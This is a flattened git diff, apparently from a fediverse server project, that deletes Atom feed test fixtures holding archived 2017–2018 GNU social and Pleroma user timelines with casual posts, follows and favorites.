lambadalambda - Is this the most offensive video on the net? <a href="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" title="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" rel="nofollow external noreferrer" class="attachment" id="attachment-402251">https://social.heldscal.la/attachment/402251</a> - - - - - - - tag:social.heldscal.la,2017-04-26:objectType=thread:nonce=07b02e1328f456af - - - - - - - tag:social.heldscal.la,2017-04-26:noticeId=1907951:objectType=note - shp repeated a notice by shpbot - RT @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> <a href="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" title="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-346198">https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg</a> - - http://activitystrea.ms/schema/1.0/share - 2017-04-26T06:58:19+00:00 - 2017-04-26T06:58:19+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.archae.me,2017-04-26:noticeId=752596:objectType=note - - <a href="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" title="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg</a> - - http://activitystrea.ms/schema/1.0/post - 2017-04-26T06:15:07+00:00 - 2017-04-26T06:15:07+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.archae.me/user/4687 - shpbot - - - - - - shpbot - shpbot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.archae.me,2017-04-26:noticeId=752596:objectType=note - New note by shpbot - <a href="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" title="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg</a> - - - - - https://gs.archae.me/conversation/314010 - - - https://gs.archae.me/api/statuses/user_timeline/4687.atom - shpbot - - - https://social.heldscal.la/avatar/31581-original-20170405170019.jpeg - 2017-05-05T11:45:08+00:00 - - - - https://gs.archae.me/conversation/314010 - - - - - - - tag:social.heldscal.la,2017-04-26:fave:29191:note:1907341:2017-04-26T06:58:16+00:00 - Favorite - shp favorited something by moonman: <a href="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" title="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" class="attachment" rel="nofollow">https://shitposter.club/attachment/630989</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-26T06:58:16+00:00 - 2017-04-26T06:58:16+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-04-26:noticeId=2681941:objectType=note - New note by moonman - <a href="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" title="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" class="attachment" rel="nofollow">https://shitposter.club/attachment/630989</a> - - - - - - - https://shitposter.club/conversation/1300990 - - - - - - - tag:social.heldscal.la,2017-04-26:fave:29191:comment:1907412:2017-04-26T06:57:56+00:00 - Favorite - shp favorited something by lambadalambda: @<a href="https://gs.smuglo.li/user/2" class="h-card u-url p-nickname mention" title="nepfag">nepfag</a> <a href="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" title="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" rel="nofollow noreferrer" class="attachment">https://social.heldscal.la/url/402273</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-26T06:57:56+00:00 - 2017-04-26T06:57:56+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-04-26:noticeId=1907412:objectType=comment - New comment by lambadalambda - @<a href="https://gs.smuglo.li/user/2" class="h-card u-url p-nickname mention" title="nepfag">nepfag</a> <a href="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" title="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" rel="nofollow external noreferrer" class="attachment" id="attachment-402273">https://social.heldscal.la/url/402273</a> - - - - - - - tag:social.heldscal.la,2017-04-26:objectType=thread:nonce=85c21eda7aaa7259 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-26:noticeId=1907942:objectType=note - New note by shp - #<span class="tag"><a href="https://social.heldscal.la/tag/cofe" rel="tag">cofe</a></span> time my friends <a href="https://social.heldscal.la/file/ec254b45b3a86ff74bc08bc7e065cb681d77cf7d4cedc9cdcf59e16adf311da3.png" title="https://social.heldscal.la/file/ec254b45b3a86ff74bc08bc7e065cb681d77cf7d4cedc9cdcf59e16adf311da3.png" rel="nofollow external noreferrer" class="attachment" id="attachment-402381">https://social.heldscal.la/attachment/402381</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-04-26T06:57:18+00:00 - 2017-04-26T06:57:18+00:00 - - tag:social.heldscal.la,2017-04-26:objectType=thread:nonce=9c9d9373bccfaf70 - - - - - - - - diff --git a/test/fixtures/tesla_mock/sakamoto.atom b/test/fixtures/tesla_mock/sakamoto.atom deleted file mode 100644 index 648946795..000000000 --- a/test/fixtures/tesla_mock/sakamoto.atom +++ /dev/null @@ -1 +0,0 @@ -http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056New note by eal<a href='https://shitposter.club/user/5381'>@shpuld</a> <a href='https://pleroma.hjkos.com/users/hj'>@hj</a> IM NOT GAY DAD2017-08-04T12:51:26.130592Z2017-08-04T12:51:26.130592Zhttps://pleroma.hjkos.com/contexts/53093c74-2100-4bf4-aac6-66d1973d03efhttps://social.sakamoto.gq/users/ealhttp://activitystrea.ms/schema/1.0/personhttps://social.sakamoto.gq/users/ealeal坂本(・ヮ・)eal \ No newline at end of file diff --git a/test/fixtures/tesla_mock/sakamoto_eal_feed.atom b/test/fixtures/tesla_mock/sakamoto_eal_feed.atom deleted file mode 100644 index 9340d9038..000000000 --- a/test/fixtures/tesla_mock/sakamoto_eal_feed.atom +++ /dev/null @@ -1 +0,0 @@ -https://social.sakamoto.gq/users/eal/feed.atomeal's timeline2017-08-04T14:19:12.683854https://social.sakamoto.gq/users/ealhttp://activitystrea.ms/schema/1.0/personhttps://social.sakamoto.gq/users/ealeal坂本(・ヮ・)ealhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/b79a1721-23f3-45a5-9610-adb08c2afae5New note by ealHonestly, I like all smileys that are not emoji.2017-08-04T14:19:12.675999Z2017-08-04T14:19:12.675999Zhttps://social.sakamoto.gq/contexts/e05ede92-8db9-4963-8b8e-e71a5797d68fhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/45475bf3-2dfc-4d9e-8eae-1f4f86f48982New note by ealThen again, I like all smileys/emoticons that are not emoji.<br>2017-08-04T14:19:10.113373Z2017-08-04T14:19:10.113373Zhttps://social.sakamoto.gq/contexts/852d1605-4dcb-4ba7-9ba4-dfc37ed62fbchttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/8f8fd6d6-cc63-40c6-a5d0-1c0e4f919368New note by ealI love the russian-style smiley.2017-08-04T14:18:30.478552Z2017-08-04T14:18:30.478552Zhttps://social.sakamoto.gq/contexts/852d1605-4dcb-4ba7-9ba4-dfc37ed62fbchttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/6e69df95-f2ad-4b8e-af4a-e93ff93d64e1eal started following https://cybre.space/users/0x3Feal started following https://cybre.space/users/0x3F2017-08-04T14:17:24.942193Z2017-08-04T14:17:24.942193Zhttp://activitystrea.ms/schema/1.0/personhttps://cybre.space/users/0x3Fhttps://cybre.space/users/0x3Fhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/54c5e260-0185-4267-a2a6-f5dd9c76c2c9eal started following https://niu.moe/users/ryeeal started following https://niu.moe/users/rye2017-08-04T14:16:35.604739Z2017-08-04T14:16:35.604739Zhttp://activitystrea.ms/schema/1.0/personhttps://niu.moe/users/ryehttps://niu.moe/users/ryehttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/092ca863-19a8-416c-85d7-d3f23b3c0203eal started following https://mastodon.xyz/users/rafudesueal started following https://mastodon.xyz/users/rafudesu2017-08-04T14:16:10.993429Z2017-08-04T14:16:10.993429Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.xyz/users/rafudesuhttps://mastodon.xyz/users/rafudesuhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/be5cf702-b127-423b-a6be-5f78f01a4289eal started following https://gs.kawa-kun.com/user/2eal started following https://gs.kawa-kun.com/user/22017-08-04T14:15:41.804611Z2017-08-04T14:15:41.804611Zhttp://activitystrea.ms/schema/1.0/personhttps://gs.kawa-kun.com/user/2https://gs.kawa-kun.com/user/2http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/4951e2a1-9bae-4e87-8e98-e6d2f8a52338eal started following https://gs.kawa-kun.com/user/4885eal started following https://gs.kawa-kun.com/user/48852017-08-04T14:15:00.135352Z2017-08-04T14:15:00.135352Zhttp://activitystrea.ms/schema/1.0/personhttps://gs.kawa-kun.com/user/4885https://gs.kawa-kun.com/user/4885http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/cadf8745-b9ee-4f6c-af32-bfddb70e4607eal started following https://mastodon.social/users/Murassaeal started following https://mastodon.social/users/Murassa2017-08-04T14:14:36.339560Z2017-08-04T14:14:36.339560Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/Murassahttps://mastodon.social/users/Murassahttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/a52c9aab-f0e6-4ccb-8dd3-9f417e72a41ceal started following https://mastodon.social/users/rysiekeal started following https://mastodon.social/users/rysiek2017-08-04T14:13:04.061572Z2017-08-04T14:13:04.061572Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/rysiekhttps://mastodon.social/users/rysiekhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/738bc887-4cca-4b36-8c86-2b54d4c54732eal started following https://mastodon.hasameli.com/users/munineal started following https://mastodon.hasameli.com/users/munin2017-08-04T14:12:10.514155Z2017-08-04T14:12:10.514155Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.hasameli.com/users/muninhttps://mastodon.hasameli.com/users/muninhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/dc66ad5a-b776-4180-a8aa-e4c1bf7cb703eal started following https://cybre.space/users/nightpooleal started following https://cybre.space/users/nightpool2017-08-04T14:11:16.046148Z2017-08-04T14:11:16.046148Zhttp://activitystrea.ms/schema/1.0/personhttps://cybre.space/users/nightpoolhttps://cybre.space/users/nightpoolhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/9c5c00d7-3ce4-4c11-b965-dc5c2bda86c5New note by eal<a href='https://mastodon.zombocloud.com/users/staticsafe'>@staticsafe</a> privet )))2017-08-04T14:10:08.812247Z2017-08-04T14:10:08.812247Zhttps://social.sakamoto.gq/contexts/12a33823-0327-4c1c-a591-850ea79331b5http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/49798053-1f40-4a71-ad33-106e90630863eal started following https://social.homunyan.com/users/animeirleal started following https://social.homunyan.com/users/animeirl2017-08-04T14:09:44.904792Z2017-08-04T14:09:44.904792Zhttp://activitystrea.ms/schema/1.0/personhttps://social.homunyan.com/users/animeirlhttps://social.homunyan.com/users/animeirlhttp://activitystrea.ms/schema/1.0/favoritehttps://social.sakamoto.gq/activities/2d83a1c5-70a6-45d3-9b84-59d6a70fbb17New favorite by ealeal favorited something2017-08-04T14:07:27.210044Z2017-08-04T14:07:27.210044Zhttp://activitystrea.ms/schema/1.0/notehttps://pleroma.soykaf.com/objects/b831e52f-4ed4-438e-95b4-888897f64f09https://pleroma.hjkos.com/contexts/3ed48205-1e72-4e19-a618-89a0d2ca811ehttp://activitystrea.ms/schema/1.0/favoritehttps://social.sakamoto.gq/activities/06d28bed-544a-496b-8414-1c6d439273b5New favorite by ealeal favorited something2017-08-04T14:05:37.280200Z2017-08-04T14:05:37.280200Zhttp://activitystrea.ms/schema/1.0/notetag:toot-lab.reclaim.technology,2017-08-04:objectId=1166030:objectType=Statustag:p2px.me,2017-08-04:objectType=thread:nonce=f8bfc4d13db6ce91http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/72bf19d4-9ad4-4b2f-9cd0-f0d70f4e931beal started following https://mstdn.jp/users/nullkaleal started following https://mstdn.jp/users/nullkal2017-08-04T14:05:04.148904Z2017-08-04T14:05:04.148904Zhttp://activitystrea.ms/schema/1.0/personhttps://mstdn.jp/users/nullkalhttps://mstdn.jp/users/nullkalhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/b0e89515-7621-4e09-b23d-83e192324107New note by eal<a href='https://p2px.me/user/1'>@stitchxd</a> test also2017-08-04T14:04:38.699051Z2017-08-04T14:04:38.699051Ztag:p2px.me,2017-08-04:objectType=thread:nonce=f8bfc4d13db6ce91http://activitystrea.ms/schema/1.0/favoritehttps://social.sakamoto.gq/activities/d8d2006b-6b23-45d6-ba27-39d27587777dNew favorite by ealeal favorited something2017-08-04T14:04:32.106626Z2017-08-04T14:04:32.106626Zhttp://activitystrea.ms/schema/1.0/notetag:p2px.me,2017-08-04:noticeId=222109:objectType=notetag:p2px.me,2017-08-04:objectType=thread:nonce=f8bfc4d13db6ce91http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/cb9db95d-ec27-41fa-bebd-5375fc13acb9eal started following https://mastodon.social/users/Gargroneal started following https://mastodon.social/users/Gargron2017-08-04T14:04:04.325531Z2017-08-04T14:04:04.325531Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/Gargronhttps://mastodon.social/users/Gargron \ No newline at end of file diff --git a/test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed b/test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed deleted file mode 100644 index b24ef7ab6..000000000 --- a/test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed +++ /dev/null @@ -1 +0,0 @@ -https://pleroma.soykaf.com/users/shp/feed.atomshp's timeline2017-09-14T08:31:48.911686https://pleroma.soykaf.com/users/shphttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/shpshpshpcofeshphttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://pleroma.soykaf.com/activities/0b5f5ef2-020a-4f9e-a92b-a2bf21224644shp started following https://pleroma.soykaf.com/users/goozshp started following https://pleroma.soykaf.com/users/gooz2017-09-14T08:31:48.911226Z2017-09-14T08:31:48.911226Zhttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/goozhttps://pleroma.soykaf.com/users/goozhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://pleroma.soykaf.com/activities/d928b7f7-dc10-478c-859b-cd604770da60shp started following https://niu.moe/users/xiaoyongmaoshp started following https://niu.moe/users/xiaoyongmao2017-09-14T08:16:52.674253Z2017-09-14T08:16:52.674253Zhttp://activitystrea.ms/schema/1.0/personhttps://niu.moe/users/xiaoyongmaohttps://niu.moe/users/xiaoyongmaohttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/3f5089b3-f1e5-47b6-8bfe-a9c4a860e724New favorite by shpshp favorited something2017-09-14T08:12:18.213055Z2017-09-14T08:12:18.213055Zhttp://activitystrea.ms/schema/1.0/notehttps://mastodon.xyz/users/Azurolu/statuses/8346804tag:mastodon.xyz,2017-09-14:objectId=3669709:objectType=Conversationhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/0def9b19-6b0f-44e0-96b3-543fa06a4010New note by shp<a href='https://niu.moe/users/Pasty'>@Pasty</a> I love the peach<br><a href="https://pleroma.soykaf.com/media/7e8bd209-dbd4-481a-a62c-d302d68df16d/__hinanawi_tenshi_touhou_drawn_by_e_o__8c6824f52dd494f6026607570179265f.jpg" class='attachment'>__hinanawi_tenshi_touhou_drawn_…</a>2017-09-14T08:12:04.367142Z2017-09-14T08:12:04.367142Ztag:niu.moe,2017-09-14:objectId=1660781:objectType=Conversationhttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/a4170edf-d273-4b82-931d-662aaf3872f3New favorite by shpshp favorited something2017-09-14T08:10:26.205104Z2017-09-14T08:10:26.205104Zhttp://activitystrea.ms/schema/1.0/notehttps://niu.moe/users/NekoiNemo/statuses/3210992tag:niu.moe,2017-09-14:objectId=1660761:objectType=Conversationhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/c50c47a0-fac5-4781-a7e6-f20e7226d5fcNew note by shp<a href='https://freezepeach.xyz/user/3458'>@hakui</a> <a href='https://pleroma.soykaf.com/users/lain'>@lain</a> you guys are forgetting the pancakes jeez2017-09-14T08:09:30.088418Z2017-09-14T08:09:30.088418Zhttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/2af9f622-5986-483c-83a1-ac59a9035b50New favorite by shpshp favorited something2017-09-14T08:09:16.346235Z2017-09-14T08:09:16.346235Zhttp://activitystrea.ms/schema/1.0/notetag:freezepeach.xyz,2017-09-14:noticeId=3926191:objectType=commenthttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/f52aad69-5828-4e0e-bb7b-f2f0869d3ff0New note by shp<a href='https://gs.smuglo.li/user/253'>@kro</a> I'll probs try some of those 2hu mangos2017-09-14T08:09:13.262835Z2017-09-14T08:09:13.262835Ztag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/35743658-efee-46cf-9cdf-487b95709cd5New favorite by shpshp favorited something2017-09-14T08:09:00.517534Z2017-09-14T08:09:00.517534Zhttp://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-09-14:noticeId=4113226:objectType=commenttag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/22258ba8-58dc-4e09-b476-fe28d3307377New favorite by shpshp favorited something2017-09-14T08:08:38.087136Z2017-09-14T08:08:38.087136Zhttp://activitystrea.ms/schema/1.0/notehttps://pleroma.soykaf.com/objects/13d7809e-5dca-4117-8738-887759392f2chttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/f56d640a-0dbd-48af-80b1-06d0dbd26774New note by shp<a href='https://social.sakamoto.gq/users/eal'>@eal</a> ...but neither does my phone<br><br>low brightness, very dark wallpaper (pic related, but even darker, couldn't find the actual version)<br><a href="https://pleroma.soykaf.com/media/6d1b8d57-80ae-41d6-bdea-58fea09ecdf4/phonewallpaper.png" class='attachment'>phonewallpaper.png</a>2017-09-14T08:07:23.081214Z2017-09-14T08:07:23.081214Zhttps://pleroma.soykaf.com/contexts/f4c5d56e-fc58-467b-a8a5-10515c012355http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/d313df1d-121c-4ab8-abd1-e6aedcf55cbdNew note by shp<a href='https://niu.moe/users/Pasty'>@Pasty</a> y-you too2017-09-14T07:55:26.153486Z2017-09-14T07:55:26.153486Ztag:niu.moe,2017-09-14:objectId=1660616:objectType=Conversationhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/7b642424-4edb-48cc-8711-1eafb4745269New note by shp<a href='https://social.sakamoto.gq/users/eal'>@eal</a> bothers me more when sleeping, wore one for nearly 2 years2017-09-14T07:54:53.449227Z2017-09-14T07:54:53.449227Zhttps://pleroma.soykaf.com/contexts/f4c5d56e-fc58-467b-a8a5-10515c012355http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/5bc1bff1-88c3-489d-8efd-7e4755690a18New note by shpquick test2017-09-14T07:54:09.045525Z2017-09-14T07:54:09.045525Zhttps://pleroma.soykaf.com/contexts/cd770c2a-408e-4895-988c-60319298f219http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/956f1fb5-6f2f-433e-ab71-7f732b76f4beNew note by shphad some trouble getting sleep last night. only used phone to check the time a few times (v essential to have a near-black wallpaper to not blind yourself when you do that). can't rember the last time I rolled in the bed for longer than an hour like that2017-09-14T07:51:23.557775Z2017-09-14T07:51:23.557775Zhttps://pleroma.soykaf.com/contexts/f4c5d56e-fc58-467b-a8a5-10515c012355http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/d935d9f2-ebc7-4ff2-b65a-fbf418a60935New note by shp<a href='https://gs.smuglo.li/user/253'>@kro</a> doesn't sound like a bad idea at all2017-09-14T07:49:55.702555Z2017-09-14T07:49:55.702555Ztag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/342c8803-ee16-487d-9488-a39d763073f6New favorite by shpshp favorited something2017-09-14T07:49:41.875840Z2017-09-14T07:49:41.875840Zhttp://activitystrea.ms/schema/1.0/notetag:anticapitalist.party,2017-09-14:objectId=3322865:objectType=Statustag:anticapitalist.party,2017-09-14:objectId=1251751:objectType=Conversationhttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/5d98a19b-dd55-4077-9841-142937c613adNew favorite by shpshp favorited something2017-09-14T07:49:30.584265Z2017-09-14T07:49:30.584265Zhttp://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-09-14:noticeId=4113170:objectType=commenttag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/fdf3626a-50ba-458b-9bf7-b5f2cfa505fcNew note by shp<a href='https://pleroma.hjkos.com/users/hj'>@hj</a> c time2017-09-14T07:48:52.805422Z2017-09-14T07:48:52.805422Zhttps://pleroma.hjkos.com/contexts/dc4a3a3e-d366-4c0c-8789-8a9bee3537d9http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/c7c8eb17-b669-4827-9fbc-90f1fc54e4b1New note by shp<a href='https://sunshinegardens.org/users/tbny'>@tbny</a> err.. mediterranean from finnish*2017-09-14T07:46:52.764234Z2017-09-14T07:46:52.764234Zhttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623 \ No newline at end of file diff --git a/test/fixtures/tesla_mock/spc_5381.atom b/test/fixtures/tesla_mock/spc_5381.atom deleted file mode 100644 index c3288e97b..000000000 --- a/test/fixtures/tesla_mock/spc_5381.atom +++ /dev/null @@ -1,438 +0,0 @@ - - - GNU social - https://shitposter.club/api/statuses/user_timeline/5381.atom - shpuld timeline - Updates from shpuld on Shitposter Club! - https://shitposter.club/avatar/5381-96-20171230093854.png - 2018-02-23T13:42:22+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/5381 - shpuld - - - - - - shpuld - shp - - - - - - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:comment:7387801:2018-02-23T13:39:40+00:00 - Favorite - shpuld favorited something by mayuutann: <p><span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <a href="https://mstdn.io/media/_Ee-x91XN0udpfZVO_U" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/_Ee-x91XN0udpfZ</span><span class="invisible">VO_U</span></a></p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:39:40+00:00 - 2018-02-23T13:39:40+00:00 - - http://activitystrea.ms/schema/1.0/comment - https://mstdn.io/users/mayuutann/statuses/99574950785668071 - New comment by mayuutann - <p><span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <a href="https://mstdn.io/media/_Ee-x91XN0udpfZVO_U" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/_Ee-x91XN0udpfZ</span><span class="invisible">VO_U</span></a></p> - - - - - - - https://freezepeach.xyz/conversation/4182511 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387723:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://pleroma.soykaf.com/users/lain" class="h-card mention" title="&#x2468; lain &#x2468;">lain</a> how naive~ - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:30:15+00:00 - 2018-02-23T13:30:15+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=2f09acf104aebfe3 - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387703:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://pleroma.soykaf.com/users/lain" class="h-card mention" title="&#x2468; lain &#x2468;">lain</a> you expect anyone to believe that?? - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:28:08+00:00 - 2018-02-23T13:28:08+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=2f09acf104aebfe3 - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387639:objectType=comment - New comment by shpuld - @<a href="https://mstdn.io/users/mayuutann" class="h-card mention" title="Mayutan&#x2615;">mayuutann</a> @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> pacyuri!! <a href="https://shitposter.club/file/eea140be45df3f993c4533026bf9a78fe8facd296d2fa0c6d02b2e347c5dc30e.jpg" title="https://shitposter.club/file/eea140be45df3f993c4533026bf9a78fe8facd296d2fa0c6d02b2e347c5dc30e.jpg" class="attachment" id="attachment-1589462" rel="nofollow external">https://shitposter.club/attachment/1589462</a> - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:20:38+00:00 - 2018-02-23T13:20:38+00:00 - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387611:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> why is pacyu eating a pizza so cute - - - 